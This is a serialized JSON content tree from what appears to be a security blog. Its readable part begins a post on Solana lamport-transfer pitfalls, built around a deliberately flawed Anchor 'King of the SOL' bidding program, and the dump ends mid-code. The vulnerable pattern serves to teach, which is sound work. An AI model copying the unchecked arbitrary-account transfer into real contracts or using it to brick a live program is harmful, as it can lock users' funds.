"line":633},[69293,69297,69301,69305],{"type":23,"tag":504,"props":69294,"children":69295},{"style":511},[69296],{"type":28,"value":1079},{"type":23,"tag":504,"props":69298,"children":69299},{"style":523},[69300],{"type":28,"value":320},{"type":23,"tag":504,"props":69302,"children":69303},{"style":517},[69304],{"type":28,"value":1088},{"type":23,"tag":504,"props":69306,"children":69307},{"style":523},[69308],{"type":28,"value":1093},{"type":23,"tag":504,"props":69310,"children":69311},{"class":506,"line":687},[69312],{"type":23,"tag":504,"props":69313,"children":69314},{"emptyLinePlaceholder":16},[69315],{"type":28,"value":1038},{"type":23,"tag":504,"props":69317,"children":69318},{"class":506,"line":736},[69319],{"type":23,"tag":504,"props":69320,"children":69321},{"style":1106},[69322],{"type":28,"value":1109},{"type":23,"tag":504,"props":69324,"children":69325},{"class":506,"line":785},[69326,69330,69334,69338],{"type":23,"tag":504,"props":69327,"children":69328},{"style":517},[69329],{"type":28,"value":1117},{"type":23,"tag":504,"props":69331,"children":69332},{"style":523},[69333],{"type":28,"value":1122},{"type":23,"tag":504,"props":69335,"children":69336},{"style":517},[69337],{"type":28,"value":1127},{"type":23,"tag":504,"props":69339,"children":69340},{"style":523},[69341],{"type":28,"value":552},{"type":23,"tag":504,"props":69343,"children":69344},{"class":506,"line":813},[69345,69349],{"type":23,"tag":504,"props":69346,"children":69347},{"style":544},[69348],{"type":28,"value":1139},{"type":23,"tag":504,"props":69350,"children":69351},{"style":523},[69352],{"type":28,"value":552},{"type":23,"tag":504,"props":69354,"children":69355},{"class":506,"line":851},[69356,69360],{"type":23,"tag":504,"props":69357,"children":69358},{"style":517},[69359],{"type":28,"value":1151},{"type":23,"tag":504,"props":69361,"children":69362},{"style":523},[69363],{"type":28,"value":1156},{"type":23,"tag":504,"props":69365,"children":69366},{"class":506,"line":869},[69367,69371,69375,69379,69383,69387,69391],{"type":23,"tag":504,"props":69368,"children":69369},{"style":523},[69370],{"type":28,"value":1164},{"type":23,"tag":504,"props":69372,"children":69373},{"style":517},[69374],{"type":28,"value":1169},{"type":23,"tag":504,"props":69376,"children":69377},{"style":523},[69378],{"type":28,"value":526},{"type":23,"tag":504,"props":69380,"children":69381},{"style":622},[69382],{"type":28,"value":1178},{"type":23,"tag":504,"props":69384,"children":69385},{"style":523},[69386],{"type":28,"value":576},{"type":23,"tag":504,"props":69388,"children":69389},{"style":622},[69390],{"type":28,"value":1187},{"type":23,"tag":504,"props":69392,"children":69393},{"style":523},[69394],{"type":28,"value":1192},{"type":23,"tag":504,"props":69396,"children":69397},{"class":506,"line":878},[69398,69402,69406,69410,69414],{"type":23,"tag":504,"props":69399,"children":69400},{"style":523},[69401],{"type":28,"value":1200},{"type":23,"tag":504,"props":69403,"children":69404},{"style":511},[69405],{"type":28,"value":796},{"type":23,"tag":504,"props":69407,"children":69408},{"style":523},[69409],{"type":28,"value":1209},{"type":23,"tag":504,"props":69411,"children":69412},{"style":1012},[69413],{"type":28,"value":1214},{"type":23,"tag":504,"props":69415,"children":69416},{"style":523},[69417],{"type":28,"value":537},{"type":23,"tag":504,"props":69419,"children":69420},{"class":506,"line":1221},[69421,69425,69429,69433,69437,69441,69445,69449,69453,69457,69461],{"type":23,"tag":504,"props":69422,"children":69423},{"style":523},[69424],{"type":28,"value":1164},{"type":23,"tag":504,"props":69426,"children":69427},{"style":517},[69428],{"type":28,"value":1231},{"type":23,"tag":504,"props":69430,"children":69431},{"style":523},[69432],{"type":28,"value":526},{"type":23,"tag":504,"props":69434,"children":69435},{"style":622},[69436],{"type":28,"value":1178},{"type":23,"tag":504,"props":69438,"children":69439},{"style":523},[69440],{"type":28,"value":576},{"type":23,"tag":504,"props":69442,"children":69443},{"style":622},[69444],{"type":28,"value":1248},{"type":23,"tag":504,"props":69446,"children":69447},{"style":511},[69448],{"type":28,"value":1253},{"type":23,"tag":504,"props":69450,"children":69451},{"style":598},[69452],{"type":28,"value":1258},{"type":23,"tag":504,"props":69454,"children":69455},{"style":511},[69456],{"type":28,"value":1263},{"type":23,"tag":504,"props":69458,"children":69459},{"style":622},[69460],{"type":28,"value":1268},{"type":23,"tag":504,"props":69462,"children":69463},{"style":523},[69464],{"type":28,"value":1273},{"type":23,"tag":504,"props":69466,"children":69467},{"class":506,"line":1276},[69468],{"type":23,"tag":504,"props":69469,"children":69470},{"style":523},[69471],{"type":28,"value":1282},{"type":23,"tag":504,"props":69473,"children":69474},{"class":506,"line":1285},[69475],{"type":23,"tag":504,"props":69476,"children":69477},{"style":523},[69478],{"type":28,"value":1291},{"type":23,"tag":504,"props":69480,"children":69481},{"class":506,"line":1294},[69482],{"type":23,"tag":504,"props":69483,"children":69484},{"emptyLinePlaceholder":16},[69485],{"type":28,"value":1038},{"type":23,"tag":504,"props":69487,"children":69488},{"class":506,"line":1302},[69489],{"type":23,"tag":504,"props":69490,"children":69491},{"style":1106},[69492],{"type":28,"value":1308},{"type":23,"tag":504,"props":69494,"children":69495},{"class":506,"line":1311},[69496,69500,69504,69508],{"type":23,"tag":504,"props":69497,"children":69498},{"style":511},[69499],{"type":28,"value":1317},{"type":23,"tag":504,"props":69501,"children":69502},{"style":523},[69503],{"type":28,"value":1322},{"type":23,"tag":504,"props":69505,"children":69506},{"style":598},[69507],{"type":28,"value":601},{"type":23,"tag":504,"props":69509,"children":69510},{"style":622},[69511],{"type":28,"value":1331},{"type":23,"tag":504,"props":69513,"children":69514},{"class":506,"line":1334},[69515,69519,69523,69527,69531,69535,69539],{"type":23,"tag":504,"props":69516,"children":69517},{"style":511},[69518],{"type":28,"value":1317},{"type":23,"tag":504,"props":69520,"children":69521},{"style":523},[69522],{"type":28,"value":1344},{"type":23,"tag":504,"props":69524,"children":69525},{"style":598},[69526],{"type":28,"value":601},{"type":23,"tag":504,"props":69528,"children":69529},{"style":517},[69530],{"type":28,"value":1353},{"type":23,"tag":504,"props":69532,"children":69533},{"style":523},[69534],{"type":28,"value":1358},{"type":23,"tag":504,"props":69536,"children":69537},{"style":517},[69538],{"type":28,"value":662},{"type":23,"tag":504,"props":69540,"children":69541},{"style":523},[69542],{"type":28,"value":1367},{"type":23,"tag":504,"props":69544,"children":69545},{"class":506,"line":1370},[69546,69550],{"type":23,"tag":504,"props":69547,"children":69548},{"style":517},[69549],{"type":28,"value":1376},{"type":23,"tag":504,"props":69551,"children":69552},{"style":523},[69553],{"type":28,"value":1381},{"type":23,"tag":504,"props":69555,"children":69556},{"class":506,"line":1384},[69557],{"type":23,"tag":504,"props":69558,"children":69559},{"style":523},[69560],{"type":28,"value":875},{"type":23,"tag":504,"props":69562,"children":69563},{"class":506,"line":1392},[69564],{"type":23,"tag":504,"props":69565,"children":69566},{"emptyLinePlaceholder":16},[69567],{"type":28,"value":1038},{"type":23,"tag":504,"props":69569,"children":69570},{"class":506,"line":1400},[69571,69575,69579,69583],{"type":23,"tag":504,"props":69572,"children":69573},{"style":511},[69574],{"type":28,"value":1406},{"type":23,"tag":504,"props":69576,"children":69577},{"style":511},[69578],{"type":28,"value":1051},{"type":23,"tag":504,"props":69580,"children":69581},{"style":517},[69582],{"type":28,"value":1415},{"type":23,"tag":504,"props":69584,"children":69585},{"style":523},[69586],{"type":28,"value":1030},{"type":23,"tag":504,"props":69588,"children":69589},{"class":506,"line":1422},[69590,69594,69598,69602,69606],{"type":23,"tag":504,"props":69591,"children":69592},{"style":517},[69593],{"type":28,"value":1428},{"type":23,"tag":504,"props":69595,"children":69596},{"style":523},[69597],{"type":28,"value":1433},{"type":23,"tag":504,"props":69599,"children":69600},{"style":598},[69601],{"type":28,"value":601},{"type":23,"tag":504,"props":69603,"children":69604},{"style":1440},[69605],{"type":28,"value":1443},{"type":23,"tag":504,"props":69607,"children":69608},{"style":523},[69609],{"type":28,"value":537},{"type":23,"tag":504,"props":69611,"children":69612},{"class":506,"line":1450},[69613,69617],{"type":23,"tag":504,"props":69614,"children":69615},{"style":517},[69616],{"type":28,"value":1456},{"type":23,"tag":504,"props":69618,"children":69619},{"style":523},[69620],{"type":28,"value":552},{"type":23,"tag":504,"props":69622,"children":69623},{"class":506,"line":1463},[69624,69628,69632,69636],{"type":23,"tag":504,"props":69625,"children":69626},{"style":511},[69627],{"type":28,"value":1469},{"type":23,"tag":504,"props":69629,"children":69630},{"style":523},[69631],{"type":28,"value":526},{"type":23,"tag":504,"props":69633,"children":69634},{"style":622},[69635],{"type":28,"value":1478},{"type":23,"tag":504,"props":69637,"children":69638},{"style":523},[69639],{"type":28,"value":537},{"type":23,"tag":504,"props":69641,"children":69642},{"class":506,"line":1485},[69643,69647,69651],{"type":23,"tag":504,"props":69644,"children":69645},{"style":523},[69646],{"type":28,"value":1491},{"type":23,"tag":504,"props":69648,"children":69649},{"style":517},[69650],{"type":28,"value":1496},{"type":23,"tag":504,"props":69652,"children":69653},{"style":523},[69654],{"type":28,"value":552},{"type":23,"tag":504,"props":69656,"children":69657},{"class":506,"line":1503},[69658,69662],{"type":23,"tag":504,"props":69659,"children":69660},{"style":517},[69661],{"type":28,"value":1509},{"type":23,"tag":504,"props":69663,"children":69664},{"style":523},[69665],{"type":28,"value":552},{"type":23,"tag":504,"props":69667,"children":69668},{"class":506,"line":1516},[69669,69673,69677,69681,69685],{"type":23,"tag":504,"props":69670,"children":69671},{"style":517},[69672],{"type":28,"value":1522},{"type":23,"tag":504,"props":69674,"children":69675},{"style":523},[69676],{"type":28,"value":1527},{"type":23,"tag":504,"props":69678,"children":69679},{"style":598},[69680],{"type":28,"value":601},{"type":23,"tag":504,"props":69682,"children":69683},{"style":622},[69684],{"type":28,"value":1536},{"type":23,"tag":504,"props":69686,"children":69687},{"style":523},[69688],{"type":28,"value":1192},{"type":23,"tag":504,"props":69690,"children":69691},{"class":506,"line":1543},[69692,69696,69700,69704,69708,69712,69716,69720],{"type":23,"tag":504,"props":69693,"children":69694},{"style":517},[69695],{"type":28,"value":1522},{"type":23,"tag":504,"props":69697,"children":69698},{"style":523},[69699],{"type":28,"value":1553},{"type":23,"tag":504,"props":69701,"children":69702},{"style":598},[69703],{"type":28,"value":601},{"type":23,"tag":504,"props":69705,"children":69706},{"style":622},[69707],{"type":28,"value":1562},{"type":23,"tag":504,"props":69709,"children":69710},{"style":523},[69711],{"type":28,"value":1567},{"type":23,"tag":504,"props":69713,"children":69714},{"style":598},[69715],{"type":28,"value":601},{"type":23,"tag":504,"props":69717,"children":69718},{"style":622},[69719],{"type":28,"value":1576},{"type":23,"tag":504,"props":69721,"children":69722},{"style":523},[69723],{"type":28,"value":1192},{"type":23,"tag":504,"props":69725,"children":69726},{"class":506,"line":1583},[69727,69731,69735,69739],{"type":23,"tag":504,"props":69728,"children":69729},{"style":517},[69730],{"type":28,"value":1589},{"type":23,"tag":504,"props":69732,"children":69733},{"style":523},[69734],{"type":28,"value":526},{"type":23,"tag":504,"props":69736,"children":69737},{"style":622},[69738],{"type":28,"value":1598},{"type":23,"tag":504,"props":69740,"children":69741},{"style":523},[69742],{"type":28,"value":1192},{"type":23,"tag":504,"props":69744,"children":69745},{"class":506,"line":1605},[69746],{"type":23,"tag":504,"props":69747,"children":69748},{"style":523},[69749],{"type":28,"value":1611},{"type":23,"tag":504,"props":69751,"children":69752},{"class":506,"line":1614},[69753,69757],{"type":23,"tag":504,"props":69754,"children":69755},{"style":517},[69756],{"type":28,"value":1620},{"type":23,"tag":504,"props":69758,"children":69759},{"style":523},[69760],{"type":28,"value":552},{"type":23,"tag":504,"props":69762,"children":69763},{"class":506,"line":1627},[69764,69768,69772,69776,69780],{"type":23,"tag":504,"props":69765,"children":69766},{"style":517},[69767],{"type":28,"value":1633},{"type":23,"tag":504,"props":69769,"children":69770},{"style":523},[69771],{"type":28,"value":747},{"type":23,"tag":504,"props":69773,"children":69774},{"style":598},[69775],{"type":28,"value":1642},{"type":23,"tag":504,"props":69777,"children":69778},{"style":622},[69779],{"type":28,"value":1647},{"type":23,"tag":504,"props":69781,"children":69782},{"style":523},[69783],{"type":28,"value":1652},{"type":23,"tag":504,"props":69785,"children":69786},{"class":506,"line":1655},[69787,69791],{"type":23,"tag":504,"props":69788,"children":69789},{"style":517},[69790],{"type":28,"value":1661},{"type":23,"tag":504,"props":69792,"children":69793},{"style":523},[69794],{"type":28,"value":552},{"type":23,"tag":504,"props":69796,"children":69797},{"class":506,"line":1668},[69798,69802],{"type":23,"tag":504,"props":69799,"children":69800},{"style":598},[69801],{"type":28,"value":1674},{"type":23,"tag":504,"props":69803,"children":69804},{"style":622},[69805],{"type":28,"value":1679},{"type":23,"tag":504,"props":69807,"children":69808},{"class":506,"line":1682},[69809],{"type":23,"tag":504,"props":69810,"children":69811},{"style":523},[69812],{"type":28,"value":1688},{"type":23,"tag":504,"props":69814,"children":69815},{"class":506,"line":1691},[69816],{"type":23,"tag":504,"props":69817,"children":69818},{"style":523},[69819],{"type":28,"value":1611},{"type":23,"tag":504,"props":69821,"children":69822},{"class":506,"line":1699},[69823],{"type":23,"tag":504,"props":69824,"children":69825},{"style":523},[69826],{"type":28,"value":1705},{"type":23,"tag":504,"props":69828,"children":69829},{"class":506,"line":1708},[69830],{"type":23,"tag":504,"props":69831,"children":69832},{"style":523},[69833],{"type":28,"value":1714},{"type":23,"tag":504,"props":69835,"children":69836},{"class":506,"line":1717},[69837],{"type":23,"tag":504,"props":69838,"children":69839},{"style":523},[69840],{"type":28,"value":1282},{"type":23,"tag":504,"props":69842,"children":69843},{"class":506,"line":1725},[69844,69848,69852,69856,69860,69864],{"type":23,"tag":504,"props":69845,"children":69846},{"style":523},[69847],{"type":28,"value":1731},{"type":23,"tag":504,"props":69849,"children":69850},{"style":517},[69851],{"type":28,"value":1736},{"type":23,"tag":504,"props":69853,"children":69854},{"style":523},[69855],{"type":28,"value":1741},{"type":23,"tag":504,"props":69857,"children":69858},{"style":598},[69859],{"type":28,"value":601},{"type":23,"tag":504,"props":69861,"children":69862},{"style":511},[69863],{"type":28,"value":1750},{"type":23,"tag":504,"props":69865,"children":69866},{"style":523},[69867],{"type":28,"value":1192},{"type":23,"tag":504,"props":69869,"children":69870},{"class":506,"line":1757},[69871],{"type":23,"tag":504,"props":69872,"children":69873},{"style":523},[69874],{"type":28,"value":875},{"type":23,"tag":504,"props":69876,"children":69877},{"class":506,"line":1765},[69878],{"type":23,"tag":504,"props":69879,"children":69880},{"style":523},[69881],{"type":28,"value":884},{"type":23,"tag":24,"props":69883,"children":69884},{},[69885],{"type":28,"value":1775},{"type":23,"tag":24,"props":69887,"children":69888},{},[69889],{"type":28,"value":1780},{"type":23,"tag":82,"props":69891,"children":69892},{"id":1783},[69893],{"type":28,"value":890},{"type":23,"tag":24,"props":69895,"children":69896},{},[69897,69898,69903],{"type":28,"value":1790},{"type":23,"tag":56,"props":69899,"children":69901},{"className":69900},[],[69902],{"type":28,"value":311},{"type":28,"value":1797},{"type":23,"tag":70,"props":69905,"children":69906},{"id":1800},[69907],{"type":28,"value":1803},{"type":23,"tag":24,"props":69909,"children":69910},{},[69911],{"type":28,"value":1808},{"type":23,"tag":24,"props":69913,"children":69914},{},[69915],{"type":28,"value":1813},{"type":23,"tag":1815,"props":69917,"children":69918},{},[69919],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":69921},[69922,69929,69934,69937],{"id":72,"depth":540,"text":75,"children":69923},[69924,69925,69926,69927,69928],{"id":84,"depth":555,"text":87},{"id":113,"depth":555,"text":116},{"id":176,"depth":555,"text":179},{"id":233,"depth":555,"text":236},{"id":335,"depth":555,"text":338},{"id":382,"depth":540,"text":385,"children":69930},[69931,69932,69933],{"id":388,"depth":555,"text":391},{"id":415,"depth":555,"text":418},{"id":887,"depth":555,"text":890},{"id":915,"depth":540,"text":918,"children":69935},[69936],{"id":1783,"depth":555,"text":890},{"id":1800,"depth":540,"text":1803},{"_path":69939,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69940,"description":69941,"author":39426,"image":69942,"date":69944,"isFeatured":16,"tags":69945,"onBlogPage":16,"body":69946,"_type":1838,"_id":74600,"_source":1840,"_file":74601,"_stem":74602,"_extension":1843},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":69943,"height":12604,"width":12604},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[1855],{"type":20,"children":69947,"toc":74589},[69948,69952,69957,69971,69977,69982,70012,70017,70022,71060,71065,71073,71078,71084,71090,71102,71135,71147,71160,71172,71617,71622,71668,71674,71679,71766,71771,71785,71798,72461,72466,72478,72484,72495,72507,72661,72675,72694,72715,72721,72726,73071,73076,73082,73101,73115,73737,73742,73762,73767,73772,73778,73790,73811,73986,73992,73997,74298,74319,74331,74343,74427,74447,74459,74465,74477,74483,74488,74511,74523,74529,74541,74546,74552,74557,74562,74580,74585],{"type":23,"tag":70,"props":69949,"children":69950},{"id":27996},[69951],{"type":28,"value":27999},{"type":23,"tag":24,"props":69953,"children":69954},{},[69955],{"type":28,"value":69956},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":24,"props":69958,"children":69959},{},[69960,69962,69969],{"type":28,"value":69961},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":92,"props":69963,"children":69966},{"href":69964,"rel":69965},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[96],[69967],{"type":28,"value":69968},"King of the Ether",{"type":28,"value":69970},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":70,"props":69972,"children":69974},{"id":69973},"the-game-king-of-the-sol",[69975],{"type":28,"value":69976},"The Game: King of the SOL",{"type":23,"tag":24,"props":69978,"children":69979},{},[69980],{"type":28,"value":69981},"The game works like this:",{"type":23,"tag":350,"props":69983,"children":69984},{},[69985,69997,70002,70007],{"type":23,"tag":45,"props":69986,"children":69987},{},[69988,69990,69995],{"type":28,"value":69989},"Anyone can become the ",{"type":23,"tag":296,"props":69991,"children":69992},{},[69993],{"type":28,"value":69994},"king",{"type":28,"value":69996}," by bidding at least 2× the previous bid.",{"type":23,"tag":45,"props":69998,"children":69999},{},[70000],{"type":28,"value":70001},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":45,"props":70003,"children":70004},{},[70005],{"type":28,"value":70006},"The remaining 5% goes into a prize pot.",{"type":23,"tag":45,"props":70008,"children":70009},{},[70010],{"type":28,"value":70011},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":24,"props":70013,"children":70014},{},[70015],{"type":28,"value":70016},"Simple, right?",{"type":23,"tag":24,"props":70018,"children":70019},{},[70020],{"type":28,"value":70021},"This is the core logic:",{"type":23,"tag":494,"props":70023,"children":70025},{"className":1957,"code":70024,"language":1956,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[70026],{"type":23,"tag":56,"props":70027,"children":70028},{"__ignoreMap":7},[70029,70044,70072,70087,70128,70135,70143,70194,70225,70232,70240,70255,70287,70294,70309,70340,70347,70354,70362,70379,70453,70461,70522,70534,70562,70602,70614,70630,70637,70645,70719,70731,70770,70798,70810,70825,70832,70840,70910,70954,71028,71035,71046,71053],{"type":23,"tag":504,"props":70030,"children":70031},{"class":506,"line":507},[70032,70036,70040],{"type":23,"tag":504,"props":70033,"children":70034},{"style":523},[70035],{"type":28,"value":21819},{"type":23,"tag":504,"props":70037,"children":70038},{"style":1012},[70039],{"type":28,"value":21824},{"type":23,"tag":504,"props":70041,"children":70042},{"style":523},[70043],{"type":28,"value":19240},{"type":23,"tag":504,"props":70045,"children":70046},{"class":506,"line":540},[70047,70051,70055,70060,70064,70068],{"type":23,"tag":504,"props":70048,"children":70049},{"style":511},[70050],{"type":28,"value":12671},{"type":23,"tag":504,"props":70052,"children":70053},{"style":511},[70054],{"type":28,"value":20132},{"type":23,"tag":504,"props":70056,"children":70057},{"style":1012},[70058],{"type":28,"value":70059}," ChangeKing",{"type":23,"tag":504,"props":70061,"children":70062},{"style":523},[70063],{"type":28,"value":21904},{"type":23,"tag":504,"props":70065,"children":70066},{"style":1012},[70067],{"type":28,"value":21909},{"type":23,"tag":504,"props":70069,"children":70070},{"style":523},[70071],{"type":28,"value":6264},{"type":23,"tag":504,"props":70073,"children":70074},{"class":506,"line":555},[70075,70079,70083],{"type":23,"tag":504,"props":70076,"children":70077},{"style":523},[70078],{"type":28,"value":22110},{"type":23,"tag":504,"props":70080,"children":70081},{"style":511},[70082],{"type":28,"value":2701},{"type":23,"tag":504,"props":70084,"children":70085},{"style":523},[70086],{"type":28,"value":19240},{"type":23,"tag":504,"props":70088,"children":70089},{"class":506,"line":633},[70090,70094,70099,70103,70107,70111,70115,70119,70124],{"type":23,"tag":504,"props":70091,"children":70092},{"style":511},[70093],{"type":28,"value":19824},{"type":23,"tag":504,"props":70095,"children":70096},{"style":529},[70097],{"type":28,"value":70098}," throne",{"type":23,"tag":504,"props":70100,"children":70101},{"style":598},[70102],{"type":28,"value":3472},{"type":23,"tag":504,"props":70104,"children":70105},{"style":1012},[70106],{"type":28,"value":22075},{"type":23,"tag":504,"props":70108,"children":70109},{"style":523},[70110],{"type":28,"value":21904},{"type":23,"tag":504,"props":70112,"children":70113},{"style":1012},[70114],{"type":28,"value":21909},{"type":23,"tag":504,"props":70116,"children":70117},{"style":523},[70118],{"type":28,"value":576},{"type":23,"tag":504,"props":70120,"children":70121},{"style":1012},[70122],{"type":28,"value":70123},"Throne",{"type":23,"tag":504,"props":70125,"children":70126},{"style":523},[70127],{"type":28,"value":5122},{"type":23,"tag":504,"props":70129,"children":70130},{"class":506,"line":687},[70131],{"type":23,"tag":504,"props":70132,"children":70133},{"emptyLinePlaceholder":16},[70134],{"type":28,"value":1038},{"type":23,"tag":504,"props":70136,"children":70137},{"class":506,"line":736},[70138],{"type":23,"tag":504,"props":70139,"children":70140},{"style":1106},[70141],{"type":28,"value":70142},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":504,"props":70144,"children":70145},{"class":506,"line":785},[70146,70150,70154,70159,70163,70168,70172,70177,70181,70185,70189],{"type":23,"tag":504,"props":70147,"children":70148},{"style":523},[70149],{"type":28,"value":22110},{"type":23,"tag":504,"props":70151,"children":70152},{"style":511},[70153],{"type":28,"value":2701},{"type":23,"tag":504,"props":70155,"children":70156},{"style":523},[70157],{"type":28,"value":70158},", constraint ",{"type":23,"tag":504,"props":70160,"children":70161},{"style":598},[70162],{"type":28,"value":601},{"type":23,"tag":504,"props":70164,"children":70165},{"style":523},[70166],{"type":28,"value":70167}," old_king",{"type":23,"tag":504,"props":70169,"children":70170},{"style":598},[70171],{"type":28,"value":320},{"type":23,"tag":504,"props":70173,"children":70174},{"style":523},[70175],{"type":28,"value":70176},"key() ",{"type":23,"tag":504,"props":70178,"children":70179},{"style":598},[70180],{"type":28,"value":7559},{"type":23,"tag":504,"props":70182,"children":70183},{"style":523},[70184],{"type":28,"value":70098},{"type":23,"tag":504,"props":70186,"children":70187},{"style":598},[70188],{"type":28,"value":320},{"type":23,"tag":504,"props":70190,"children":70191},{"style":523},[70192],{"type":28,"value":70193},"king)]\n",{"type":23,"tag":504,"props":70195,"children":70196},{"class":506,"line":813},[70197,70201,70205,70209,70213,70217,70221],{"type":23,"tag":504,"props":70198,"children":70199},{"style":511},[70200],{"type":28,"value":19824},{"type":23,"tag":504,"props":70202,"children":70203},{"style":529},[70204],{"type":28,"value":70167},{"type":23,"tag":504,"props":70206,"children":70207},{"style":598},[70208],{"type":28,"value":3472},{"type":23,"tag":504,"props":70210,"children":70211},{"style":1012},[70212],{"type":28,"value":24378},{"type":23,"tag":504,"props":70214,"children":70215},{"style":523},[70216],{"type":28,"value":21904},{"type":23,"tag":504,"props":70218,"children":70219},{"style":1012},[70220],{"type":28,"value":21909},{"type":23,"tag":504,"props":70222,"children":70223},{"style":523},[70224],{"type":28,"value":5122},{"type":23,"tag":504,"props":70226,"children":70227},{"class":506,"line":851},[70228],{"type":23,"tag":504,"props":70229,"children":70230},{"emptyLinePlaceholder":16},[70231],{"type":28,"value":1038},{"type":23,"tag":504,"props":70233,"children":70234},{"class":506,"line":869},[70235],{"type":23,"tag":504,"props":70236,"children":70237},{"style":1106},[70238],{"type":28,"value":70239},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":504,"props":70241,"children":70242},{"class":506,"line":878},[70243,70247,70251],{"type":23,"tag":504,"props":70244,"children":70245},{"style":523},[70246],{"type":28,"value":22110},{"type":23,"tag":504,"props":70248,"children":70249},{"style":511},[70250],{"type":28,"value":2701},{"type":23,"tag":504,"props":70252,"children":70253},{"style":523},[70254],{"type":28,"value":19240},{"type":23,"tag":504,"props":70256,"children":70257},{"class":506,"line":1221},[70258,70262,70267,70271,70275,70279,70283],{"type":23,"tag":504,"props":70259,"children":70260},{"style":511},[70261],{"type":28,"value":19824},{"type":23,"tag":504,"props":70263,"children":70264},{"style":529},[70265],{"type":28,"value":70266}," new_king",{"type":23,"tag":504,"props":70268,"children":70269},{"style":598},[70270],{"type":28,"value":3472},{"type":23,"tag":504,"props":70272,"children":70273},{"style":1012},[70274],{"type":28,"value":24378},{"type":23,"tag":504,"props":70276,"children":70277},{"style":523},[70278],{"type":28,"value":21904},{"type":23,"tag":504,"props":70280,"children":70281},{"style":1012},[70282],{"type":28,"value":21909},{"type":23,"tag":504,"props":70284,"children":70285},{"style":523},[70286],{"type":28,"value":5122},{"type":23,"tag":504,"props":70288,"children":70289},{"class":506,"line":1276},[70290],{"type":23,"tag":504,"props":70291,"children":70292},{"emptyLinePlaceholder":16},[70293],{"type":28,"value":1038},{"type":23,"tag":504,"props":70295,"children":70296},{"class":506,"line":1285},[70297,70301,70305],{"type":23,"tag":504,"props":70298,"children":70299},{"style":523},[70300],{"type":28,"value":22110},{"type":23,"tag":504,"props":70302,"children":70303},{"style":511},[70304],{"type":28,"value":2701},{"type":23,"tag":504,"props":70306,"children":70307},{"style":523},[70308],{"type":28,"value":19240},{"type":23,"tag":504,"props":70310,"children":70311},{"class":506,"line":1294},[70312,70316,70320,70324,70328,70332,70336],{"type":23,"tag":504,"props":70313,"children":70314},{"style":511},[70315],{"type":28,"value":19824},{"type":23,"tag":504,"props":70317,"children":70318},{"style":529},[70319],{"type":28,"value":41216},{"type":23,"tag":504,"props":70321,"children":70322},{"style":598},[70323],{"type":28,"value":3472},{"type":23,"tag":504,"props":70325,"children":70326},{"style":1012},[70327],{"type":28,"value":22139},{"type":23,"tag":504,"props":70329,"children":70330},{"style":523},[70331],{"type":28,"value":21904},{"type":23,"tag":504,"props":70333,"children":70334},{"style":1012},[70335],{"type":28,"value":21909},{"type":23,"tag":504,"props":70337,"children":70338},{"style":523},[70339],{"type":28,"value":5122},{"type":23,"tag":504,"props":70341,"children":70342},{"class":506,"line":1302},[70343],{"type":23,"tag":504,"props":70344,"children":70345},{"style":523},[70346],{"type":28,"value":884},{"type":23,"tag":504,"props":70348,"children":70349},{"class":506,"line":1311},[70350],{"type":23,"tag":504,"props":70351,"children":70352},{"emptyLinePlaceholder":16},[70353],{"type":28,"value":1038},{"type":23,"tag":504,"props":70355,"children":70356},{"class":506,"line":1334},[70357],{"type":23,"tag":504,"props":70358,"children":70359},{"style":523},[70360],{"type":28,"value":70361},"#[program]\n",{"type":23,"tag":504,"props":70363,"children":70364},{"class":506,"line":1370},[70365,70369,70374],{"type":23,"tag":504,"props":70366,"children":70367},{"style":511},[70368],{"type":28,"value":12671},{"type":23,"tag":504,"props":70370,"children":70371},{"style":511},[70372],{"type":28,"value":70373}," mod",{"type":23,"tag":504,"props":70375,"children":70376},{"style":523},[70377],{"type":28,"value":70378}," king_of_the_sol {\n",{"type":23,"tag":504,"props":70380,"children":70381},{"class":506,"line":1384},[70382,70386,70390,70395,70399,70403,70407,70411,70415,70420,70424,70429,70433,70437,70441,70445,70449],{"type":23,"tag":504,"props":70383,"children":70384},{"style":511},[70385],{"type":28,"value":19824},{"type":23,"tag":504,"props":70387,"children":70388},{"style":511},[70389],{"type":28,"value":12676},{"type":23,"tag":504,"props":70391,"children":70392},{"style":517},[70393],{"type":28,"value":70394}," 